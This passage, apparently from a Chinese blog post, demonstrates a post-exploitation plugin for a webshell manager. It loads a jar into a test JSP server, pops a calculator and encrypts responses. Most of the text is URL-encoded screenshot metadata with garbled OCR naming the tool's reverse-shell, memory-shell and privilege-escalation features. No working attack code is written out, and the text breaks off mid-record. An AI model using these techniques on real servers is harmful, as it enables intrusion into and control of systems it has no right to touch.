%22width%22%3A284.83693999999997%2C%22height%22%3A17.930420000000026%2C%22text%22%3A%22Class.forName(%5C%22calc).newInstanceO%22%7D%2C%7B%22x%22%3A30.553493%2C%22y%22%3A429.3288%2C%22width%22%3A15.073877%2C%22height%22%3A12.923000000000002%2C%22text%22%3A%22%25%22%7D%2C%7B%22x%22%3A9.30661%2C%22y%22%3A484.1174%2C%22width%22%3A89.835884%2C%22height%22%3A16.009900000000016%2C%22text%22%3A%22Stacktrace%3A%22%7D%2C%7B%22x%22%3A73.79587%2C%22y%22%3A500.9745%2C%22width%22%3A720.19013%2C%22height%22%3A16.75720000000007%2C%22text%22%3A%22Q%3ApachjaserselJ%22%7D%2C%7B%22x%22%3A73.06934%2C%22y%22%3A519.3182%2C%22width%22%3A625.55376%2C%22height%22%3A15.483249999999998%2C%22text%22%3A%22Q8pache%22%7D%2C%7B%22x%22%3A72.62327%2C%22y%22%3A537.67267%2C%22width%22%3A570.32503%2C%22height%22%3A14.988129999999956%2C%22text%22%3A%22QRpacheja%22%7D%2C%7B%22x%22%3A73.005%2C%22y%22%3A555.071%2C%22width%22%3A521.2377%2C%22height%22%3A15.641899999999964%2C%22text%22%3A%22org.apache.jasper.servletJletsericrle)%22%7D%2C%7B%22x%22%3A74.22604%2C%22y%22%3A572.7572%2C%22width%22%3A479.21311000000003%2C%22height%22%3A15.264999999999986%2C%22text%22%3A%22javaxservlet.http.ttelesricj%22%7D%2C%7B%22x%22%3A72.05538%2C%22y%22%3A588.7987%2C%22width%22%3A562.43102%2C%22height%22%3A19.219799999999964%2C%22text%22%3A%22og.apache.tomcat.wbckst2%22%7D%2C%7B%22x%22%3A9.517747%2C%22y%22%3A625.8713%2C%22width%22%3A63.029543000000004%2C%22height%22%3A15.881449999999973%2C%22text%22%3A%22%E6%A0%B9%E6%9C%AC%E5%8E%9F%E5%9B%A0%22%7D%2C%7B%22x%22%3A9.3098755%2C%22y%22%3A662.05994%2C%22width%22%3A561.1272545%2C%22height%22%3A17.67730000000006%2C%22text%22%3A%22jayaxservlet.Servletxception%3AjayaCNuctionclc%22%7D%2C%7B%22x%22%3A72.46014%2C%22y%22%3A679.6772%2C%22width%22%3A714.54696%2C%22height%22%3A15.992360000000076%2C%22text%22%3A%22%3Apade.jspe.utm.on%22%7D%2C%7B%22x%22%3A72.64638%2C%22y%22%3A698.9069%2C%22width%22%3A695.89226%2C%22height%22%3A13.617330000000038%2C%22text%22%3A%220pacheja..%22%7D%5D%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%2B%20HTTP%E7%8A%B6%E6%80%81500-%E5%86%85%E9%83%A8%E6%9C%8D%E5%8A%A1%E5%99%A8%E9%94%99%E8%AF%AFx%20cdolocalhost%3A8888%2Ftest%2Ftest1jsp%20HTTP%E7%8A%B6%E6%80%81500-%E5%86%85%E9%83%A8%E6%9C%8D%E5%8A%A1%E5%99%A8%E9%94%99%E8%AF%AF%20%E7%B1%BB%E5%9E%8B%E5%BC%82%E5%B8%B8%E6%8A%A5%E5%91%8A%20%E6%B6%88%E6%81%AF%E5%9C%A8%5B3%5D%E8%A1%8C%E5%A4%84%E7%90%86%5Btestitest1.jsp%5D%E6%97%B6%E5%8F%91%E7%94%9F%E5%BC%82%E5%B8%B8%20%E6%8F%8F%E8%BF%B0%E6%9C%8D%E5%8A%A1%E5%99%A8%E9%81%87%E5%88%B0%E4%B8%80%E4%B8%AA%E6%84%8F%E5%A4%96%E7%9A%84%E6%83%85%E5%86%B5%2C%E9%98%BB%E6%AD%A2%E5%AE%83%E5%AE%8C%E6%88%90%E8%AF%B7%E6%B1%82.%20%E4%BE%8B%E5%A4%96%E6%83%85%E5%86%B5%20og.apache.jasper.Jaxcetin%3A(%5D%E5%A4%84%E7%90%86%5B%2Ftest%2Ftest1.%E6%97%B6%E5%8F%91%E7%94%9F%E5%BC%82%E5%B8%B8%20C2110%20Class.forName(%5C%22calc).newInstanceO%20%25%20Stacktrace%3A%20Q%3ApachjaserselJ%20Q8pache%20QRpacheja%20org.apache.jasper.servletJletsericrle)%20javaxservlet.http.ttelesricj%20og.apache.tomcat.wbckst2%20%E6%A0%B9%E6%9C%AC%E5%8E%9F%E5%9B%A0%20jayaxservlet.Servletxception%3AjayaCNuctionclc%20%3Apade.jspe.utm.on%200pacheja..%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%2C%22width%22%3A499%2C%22height%22%3A358%7D"><img data-height="358px" data-ratio="0.7164328657314629" title="image.png" data-type="png" data-w="998" style="visibility: visible;width: 499px;" src="https://wechat2rss.xlab.app/img-proxy/?k=e2e5ae46&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9mKvWcicnX8jQ1VMBiaBhyNAu6msm5oSicrJDWOmugtXm7HKeKb9G2BSRw%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="9f434b9d0a472903b3bb224dd9a0128f" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;">然后打开插件，选择要打入的jar文件。这里可以点按钮选择，也可以直接在输入框输入绝对路径。</p><p data-lake-id="9f434b9d0a472903b3bb224dd9a0128f" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><br/></p><p data-lake-id="542ee4fabc8a1ed7d22133517f1934c9" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616731753286-ed814f11-6947-456b-ad71-145227e32aff.png%22%2C%22originWidth%22%3A1068%2C%22originHeight%22%3A602%2C%22name%22%3A%22image.png%22%2C%22size%22%3A37363%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A40.741226%2C%22y%22%3A10.005616%2C%22width%22%3A289.252874%2C%22height%22%3A16.78885%2C%22text%22%3A%22As-Exploits127.0.0.1jpBy%3AyzddMr6%22%7D%2C%7B%22x%22%3A1002.375%2C%22y%22%3A12.247543%2C%22width%22%3A51.693700000000035%2C%22height%22%3A14.873173000000001%2C%22text%22%3A%22-%E5%8F%A3x%22%7D%2C%7B%22x%22%3A485.96478%2C%22y%22%3A42.746704%2C%22width%22%3A60.995360000000005%2C%22height%22%3A17.729945999999998%2C%22text%22%3A%22%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%22%7D%2C%7B%22x%22%3A697.2233%2C%22y%22%3A43.276363%2C%22width%22%3A61.92965000000004%2C%22height%22%3A17.286460999999996%2C%22text%22%3A%22%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%22%7D%2C%7B%22x%22%3A803.65424%2C%22y%22%3A43.47557%2C%22width%22%3A71.49336000000005%2C%22height%22%3A17.73017%2C%22text%22%3A%22Jar%E5%8A%A0%E8%BD%BD%E5%99%A8%22%7D%2C%7B%22x%22%3A54.573235%2C%22y%22%3A43.639378%2C%22width%22%3A61.27259000000001%2C%22height%22%3A17.94054%2C%22text%22%3A%22%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%22%7D%2C%7B%22x%22%3A591.32886%2C%22y%22%3A43.844055%2C%22width%22%3A61.37817000000007%2C%22height%22%3A16.940197000000005%2C%22text%22%3A%22%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%22%7D%2C%7B%22x%22%3A163.34042%2C%22y%22%3A44.167725%2C%22width%22%3A64.60611%2C%22height%22%3A16.926693%2C%22text%22%3A%22%E5%8F%8D%E5%BC%B9Shell%22%7D%2C%7B%22x%22%3A365.81845%2C%22y%22%3A44.19756%2C%22width%22%3A74.66403000000003%2C%22height%22%3A16.991529999999997%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%22%7D%2C%7B%22x%22%3A918.16095%2C%22y%22%3A44.17876%2C%22width%22%3A30.56675000000007%2C%22height%22%3A16.70881%2C%22text%22%3A%22%E5%85%B3%E4%BA%8E%22%7D%2C%7B%22x%22%3A271.6277%2C%22y%22%3A43.676292%2C%22width%22%3A47.13792000000001%2C%22height%22%3A17.187188000000006%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%22%7D%2C%7B%22x%22%3A33.966087%2C%22y%22%3A86.46959%2C%22width%22%3A45.775133%2C%22height%22%3A14.46856600000001%2C%22text%22%3A%22exploit%22%7D%2C%7B%22x%22%3A51.92118%2C%22y%22%3A142.23064%2C%22width%22%3A60.36872%2C%22height%22%3A16.969099999999997%2C%22text%22%3A%22%E9%80%89%E6%8B%A9%E6%96%87%E4%BB%B6%22%7D%2C%7B%22x%22%3A150.47485%2C%22y%22%3A142.95555%2C%22width%22%3A365.21445%2C%22height%22%3A17.444180000000017%2C%22text%22%3A%22D%3AIdeaprojectsls-Exploits-Javalsmainjcalcj%22%7D%2C%7B%22x%22%3A19.838879%2C%22y%22%3A447.44577%2C%22width%22%3A63.019961%2C%22height%22%3A16.37116000000003%2C%22text%22%3A%22%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%22%7D%2C%7B%22x%22%3A37.879616%2C%22y%22%3A478.1109%2C%22width%22%3A12.655073999999999%2C%22height%22%3A12.655073999999999%2C%22text%22%3A%221%22%7D%5D%2C%22style%22%3A%22none%22%2C%22search%22%3A%22As-Exploits127.0.0.1jpBy%3AyzddMr6%20-%E5%8F%A3x%20%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%20%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%20Jar%E5%8A%A0%E8%BD%BD%E5%99%A8%20%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%20%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%20%E5%8F%8D%E5%BC%B9Shell%20%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%20%E5%85%B3%E4%BA%8E%20%E5%86%85%E5%AD%98%E9%A9%AC%20exploit%20%E9%80%89%E6%8B%A9%E6%96%87%E4%BB%B6%20D%3AIdeaprojectsls-Exploits-Javalsmainjcalcj%20%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%201%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%2C%22width%22%3A534%2C%22height%22%3A301%7D"><img data-height="301px" data-ratio="0.5636704119850188" title="image.png" data-type="png" data-w="1068" style="visibility: visible;width: 534px;" src="https://wechat2rss.xlab.app/img-proxy/?k=71c57920&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG97D680aDHosXQtQqiasLYvibvAwdibdK2Pp7btsFH5bzErhAJrxN6vRraA%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="38a1c5de8a7e8ca27c57efdd52fdcf98" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="38a1c5de8a7e8ca27c57efdd52fdcf98" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">exploit！</p><p data-lake-id="38a1c5de8a7e8ca27c57efdd52fdcf98" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="a0c0c9ae0eade805ee849585b2d82035" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616731789889-b2d6e14b-45d2-4bd5-81e8-d4d90a4692a9.png%22%2C%22originWidth%22%3A1069%2C%22originHeight%22%3A767%2C%22name%22%3A%22image.png%22%2C%22size%22%3A51506%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A23.340595%2C%22y%22%3A2.9269462%2C%22width%22%3A288.082905%2C%22height%22%3A16.3167958%2C%22text%22%3A%22As-Exploits127.0.0.1jpBydM6%22%7D%2C%7B%22x%22%3A469.0593%2C%22y%22%3A36.858208%2C%22width%22%3A61.61886000000004%2C%22height%22%3A17.260887000000004%2C%22text%22%3A%22%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%22%7D%2C%7B%22x%22%3A35.918705%2C%22y%22%3A36.95413%2C%22width%22%3A61.25498499999999%2C%22height%22%3A16.643053000000002%2C%22text%22%3A%22%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%22%7D%2C%7B%22x%22%3A145.47412%2C%22y%22%3A37.425507%2C%22width%22%3A63.480909999999994%2C%22height%22%3A15.758792999999997%2C%22text%22%3A%22%E5%8F%8D%E5%BC%B9Shell%22%7D%2C%7B%22x%22%3A574.2373%2C%22y%22%3A37.464077%2C%22width%22%3A61.762500000000045%2C%22height%22%3A16.181754999999995%2C%22text%22%3A%22%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%22%7D%2C%7B%22x%22%3A785.0775%2C%22y%22%3A37.82245%2C%22width%22%3A71.75197000000003%2C%22height%22%3A17.467367999999993%2C%22text%22%3A%22Jar%E5%8A%A0%E8%BD%BD%E5%99%A8%22%7D%2C%7B%22x%22%3A899.6928%2C%22y%22%3A37.768143%2C%22width%22%3A31.725799999999936%2C%22height%22%3A17.861331999999997%2C%22text%22%3A%22%E5%85%B3%E4%BA%8E%22%7D%2C%7B%22x%22%3A680.8526%2C%22y%22%3A38.35715%2C%22width%22%3A60.68909999999994%2C%22height%22%3A15.82049%2C%22text%22%3A%22%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%22%7D%2C%7B%22x%22%3A347.3478%2C%22y%22%3A38.478107%2C%22width%22%3A76.07684999999998%2C%22height%22%3A17.006378999999995%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%22%7D%2C%7B%22x%22%3A255.8536%2C%22y%22%3A39.014442%2C%22width%22%3A44.861369999999994%2C%22height%22%3A15.985122999999994%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%22%7D%2C%7B%22x%22%3A15.334271%2C%22y%22%3A80.293495%2C%22width%22%3A45.522724%2C%22height%22%3A14.448115000000001%2C%22text%22%3A%22exploit%22%7D%2C%7B%22x%22%3A34.187748%2C%22y%22%3A136.35732%2C%22width%22%3A58.964802000000006%2C%22height%22%3A16.60372000000001%2C%22text%22%3A%22%E9%80%89%E6%8B%A9%E6%96%87%E4%BB%B6%22%7D%2C%7B%22x%22%3A132.89584%2C%22y%22%3A137.97746%2C%22width%22%3A366.56061%2C%22height%22%3A17.97091999999998%2C%22text%22%3A%22D%3AIdeaprojectsls-Exploits-Javalinavacalc.ja%22%7D%2C%7B%22x%22%3A2.18108%2C%22y%22%3A438.94373%2C%22width%22%3A61.73607%2C%22height%22%3A17.260339999999985%2C%22text%22%3A%22%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%22%7D%2C%7B%22x%22%3A19.9476%2C%22y%22%3A472.06003%2C%22width%22%3A52.52138%2C%22height%22%3A15.509209999999996%2C%22text%22%3A%2210k%22%7D%2C%7B%22x%22%3A737.4561%2C%22y%22%3A688.1628%2C%22width%22%3A43.05110000000002%2C%22height%22%3A20.92240000000004%2C%22text%22%3A%22%E6%88%90%E5%8A%9F%22%7D%2C%7B%22x%22%3A738.4492%2C%22y%22%3A710.9275%2C%22width%22%3A80.92629999999997%2C%22height%22%3A21.00712999999996%2C%22text%22%3A%22%E6%89%A7%E8%A1%8C%E6%88%90%E5%8A%9F%22%7D%5D%2C%22style%22%3A%22none%22%2C%22search%22%3A%22As-Exploits127.0.0.1jpBydM6%20%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%20%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%20%E5%8F%8D%E5%BC%B9Shell%20%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%20Jar%E5%8A%A0%E8%BD%BD%E5%99%A8%20%E5%85%B3%E4%BA%8E%20%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%20%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%20%E5%86%85%E5%AD%98%E9%A9%AC%20exploit%20%E9%80%89%E6%8B%A9%E6%96%87%E4%BB%B6%20D%3AIdeaprojectsls-Exploits-Javalinavacalc.ja%20%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%2010k%20%E6%88%90%E5%8A%9F%20%E6%89%A7%E8%A1%8C%E6%88%90%E5%8A%9F%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%2C%22width%22%3A534.5%2C%22height%22%3A384%7D"><img data-height="384px" data-ratio="0.7174929840972872" title="image.png" data-type="png" data-w="1069" style="visibility: visible;width: 534.5px;" src="https://wechat2rss.xlab.app/img-proxy/?k=2730d72b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9KFVSSeCJvPNoiaP50vrewfGMXicdysYE65xGqWDTVly0ibBWPkhOQRk3w%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="2e6fbc4411892b03cb0525d5e9b5c53d" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="2e6fbc4411892b03cb0525d5e9b5c53d" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">再去刷新页面，弹出计算器。</p><p data-lake-id="2e6fbc4411892b03cb0525d5e9b5c53d" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="f0ebd4f6a6b7b8c8efe16d3880c4fe20" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616731810008-50d3ff55-3670-4e1a-8679-97e0eb09ae1b.png%22%2C%22originWidth%22%3A856%2C%22originHeight%22%3A439%2C%22name%22%3A%22image.png%22%2C%22size%22%3A108376%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A52.837154%2C%22y%22%3A12.868499%2C%22width%22%3A205.26700599999998%2C%22height%22%3A18.333628%2C%22text%22%3A%22localhost%3A8888%2Ftest%2Ftest1jsp%22%7D%2C%7B%22x%22%3A17.502878%2C%22y%22%3A55.133026%2C%22width%22%3A229.70492199999998%2C%22height%22%3A23.169473999999994%2C%22text%22%3A%22e%3ECDolocal%22%7D%2C%7B%22x%22%3A215.38121%2C%22y%22%3A55.13924%2C%22width%22%3A238.96181%2C%22height%22%3A19.53582%2C%22text%22%3A%22localhost%3A8888%2Ftest%2Ftest1jsp%22%7D%2C%7B%22x%22%3A371.57663%2C%22y%22%3A104.13759%2C%22width%22%3A46.231269999999995%2C%22height%22%3A15.231079999999992%2C%22text%22%3A%22%E8%AE%A1%E7%AE%97%E5%99%A8%22%7D%2C%7B%22x%22%3A412.94226%2C%22y%22%3A143.41173%2C%22width%22%3A80.43311%2C%22height%22%3A27.50833%2C%22text%22%3A%22%E7%A8%8B%E5%BA%8F%E5%91%98%22%7D%2C%7B%22x%22%3A723.01904%2C%22y%22%3A217.48608%2C%22width%22%3A18.100529999999935%2C%22height%22%3A18.100529999999935%2C%22text%22%3A%220%22%7D%2C%7B%22x%22%3A371.64005%2C%22y%22%3A267.4969%2C%22width%22%3A65.74917000000005%2C%22height%22%3A15.384420000000034%2C%22text%22%3A%22HEX0%22%7D%2C%7B%22x%22%3A424.14832%2C%22y%22%3A295.95776%2C%22width%22%3A12.974479999999971%2C%22height%22%3A12.974479999999971%2C%22text%22%3A%220%22%7D%2C%7B%22x%22%3A372.57388%2C%22y%22%3A297.57227%2C%22width%22%3A29.447850000000017%2C%22height%22%3A13.888059999999996%2C%22text%22%3A%22DEC%22%7D%2C%7B%22x%22%3A425.77975%2C%22y%22%3A325.7215%2C%22width%22%3A10.709630000000004%2C%22height%22%3A10.709630000000004%2C%22text%22%3A%220%22%7D%2C%7B%22x%22%3A372.03732%2C%22y%22%3A326.43658%2C%22width%22%3A30.56771999999995%2C%22height%22%3A13.774270000000001%2C%22text%22%3A%22OCT%22%7D%2C%7B%22x%22%3A371.44965%2C%22y%22%3A354.83722%2C%22width%22%3A26.647609999999986%2C%22height%22%3A13.715579999999989%2C%22text%22%3A%22BIN%22%7D%2C%7B%22x%22%3A425.8088%2C%22y%22%3A355.0296%2C%22width%22%3A11.580669999999998%2C%22height%22%3A11.580669999999998%2C%22text%22%3A%220%22%7D%2C%7B%22x%22%3A644.8495%2C%22y%22%3A393.89334%2C%22width%22%3A24.720100000000002%2C%22height%22%3A14.64416%2C%22text%22%3A%22MS%22%7D%2C%7B%22x%22%3A531.50116%2C%22y%22%3A394.08658%2C%22width%22%3A56.93963999999994%2C%22height%22%3A13.652719999999988%2C%22text%22%3A%22QWORD%22%7D%5D%2C%22style%22%3A%22none%22%2C%22search%22%3A%22localhost%3A8888%2Ftest%2Ftest1jsp%20e%3ECDolocal%20localhost%3A8888%2Ftest%2Ftest1jsp%20%E8%AE%A1%E7%AE%97%E5%99%A8%20%E7%A8%8B%E5%BA%8F%E5%91%98%200%20HEX0%200%20DEC%200%20OCT%20BIN%200%20MS%20QWORD%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%2C%22width%22%3A428%2C%22height%22%3A220%7D"><img data-height="220px" data-ratio="0.5128504672897196" title="image.png" data-type="png" data-w="856" style="visibility: visible;width: 428px;" src="https://wechat2rss.xlab.app/img-proxy/?k=45d39674&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG994BYMssic5a3xs3Xian2bcE4Ut05UHNUgRzL5PBu3IexISO7Qu9WYrIg%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="387817e0dd8bb75a3fd86f747b51d2de" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><h3 data-lake-id="8c6c4239625b8ab2b921f68707d63ae6" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 20px;line-height: 28px;">3) 支持返回包加密</h3><p><br/></p><p data-lake-id="3adba65ed417cba1e467dcd308cc1a1a" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">选择reverse解码器</p><p data-lake-id="3adba65ed417cba1e467dcd308cc1a1a" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="b39ddf35b25215e6a070bb808f6a0835" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616731909173-9573b05d-e744-4b6a-b52a-34978363052d.png%22%2C%22originWidth%22%3A405%2C%22originHeight%22%3A148%2C%22name%22%3A%22image.png%22%2C%22size%22%3A4716%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A96.84714%2C%22y%22%3A6.6715417%2C%22width%22%3A46.46794%2C%22height%22%3A16.215942300000002%2C%22text%22%3A%22%E8%A7%A3%E7%A0%81%E5%99%A8%22%7D%2C%7B%22x%22%3A123.931206%2C%22y%22%3A44.18353%2C%22width%22%3A48.06679399999999%2C%22height%22%3A15.339984000000001%2C%22text%22%3A%22default%22%7D%2C%7B%22x%22%3A123.558754%2C%22y%22%3A86.178566%2C%22width%22%3A49.938546%2C%22height%22%3A11.049178999999995%2C%22text%22%3A%22reverse%22%7D%2C%7B%22x%22%3A122.688515%2C%22y%22%3A122.35264%2C%22width%22%3A36.093975%2C%22height%22%3A11.792360000000016%2C%22text%22%3A%22rot13%22%7D%5D%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%E8%A7%A3%E7%A0%81%E5%99%A8%20default%20reverse%20rot13%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%2C%22width%22%3A202.5%2C%22height%22%3A74%7D"><img data-height="74px" data-ratio="0.3654320987654321" title="image.png" data-type="png" data-w="405" style="visibility: visible;width: 202.5px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d1c23054&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9oOic5eeBXCHNMBujOI03hRotDiao63Gn9cJ749r8RX89aibJAoiaVMDaUw%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="b39ddf35b25215e6a070bb808f6a0835" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="a6e77762465e50ea428cb4df025a5a93" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">返回包数据</p><p data-lake-id="39078b09ff23a9f34eece95400ca0dbc" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616731886710-3008aa92-7e76-4c61-a3d1-6e732b25d638.png%22%2C%22originWidth%22%3A1611%2C%22originHeight%22%3A426%2C%22name%22%3A%22image.png%22%2C%22size%22%3A116729%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A936.9382%2C%22y%22%3A1.8985264%2C%22width%22%3A87.10619999999994%2C%22height%22%3A14.350939600000002%2C%22text%22%3A%22Response%22%7D%2C%7B%22x%22%3A3.9333677%2C%22y%22%3A2.760822%2C%22width%22%3A61.108562299999996%2C%22height%22%3A13.631118%2C%22text%22%3A%22eguest%22%7D%2C%7B%22x%22%3A1006.5324%2C%22y%22%3A37.95569%2C%22width%22%3A136.91789999999992%2C%22height%22%3A18.639777000000002%2C%22text%22%3A%22RawRenderLn%22%7D%2C%7B%22x%22%3A1159.5664%2C%22y%22%3A38.350395%2C%22width%22%3A60.2632000000001%2C%22height%22%3A15.787385%2C%22text%22%3A%22Actions%22%7D%2C%7B%22x%22%3A146.60085%2C%22y%22%3A39.048832%2C%22width%22%3A58.209149999999994%2C%22height%22%3A14.123146000000006%2C%22text%22%3A%22Actions%22%7D%2C%7B%22x%22%3A2.417717%2C%22y%22%3A39.099415%2C%22width%22%3A33.430313%2C%22height%22%3A15.997905000000003%2C%22text%22%3A%22retty%22%7D%2C%7B%22x%22%3A938.9572%2C%22y%22%3A39.70632%2C%22width%22%3A42.70480000000009%2C%22height%22%3A15.271790000000003%2C%22text%22%3A%22Pretty%22%7D%2C%7B%22x%22%3A108.47907%2C%22y%22%3A39.94325%2C%22width%22%3A18.137260000000012%2C%22height%22%3A13.789500000000004%2C%22text%22%3A%22n%22%7D%2C%7B%22x%22%3A55.271145%2C%22y%22%3A40.102592%2C%22width%22%3A29.190464999999996%2C%22height%22%3A12.758347999999998%2C%22text%22%3A%22Raw%22%7D%2C%7B%22x%22%3A8.071644%2C%22y%22%3A68.434395%2C%22width%22%3A315.584786%2C%22height%22%3A23.139185000000012%2C%22text%22%3A%22posT%2Fant%2Freleasel.jspHTTP%2F1.1%22%7D%2C%7B%22x%22%3A953.62415%2C%22y%22%3A69.37901%2C%22width%22%3A126.95954999999992%2C%22height%22%3A19.446895000000012%2C%22text%22%3A%22HTTP%2F1.1200%22%7D%2C%7B%22x%22%3A951.5925%2C%22y%22%3A90.52871%2C%22width%22%3A654.0741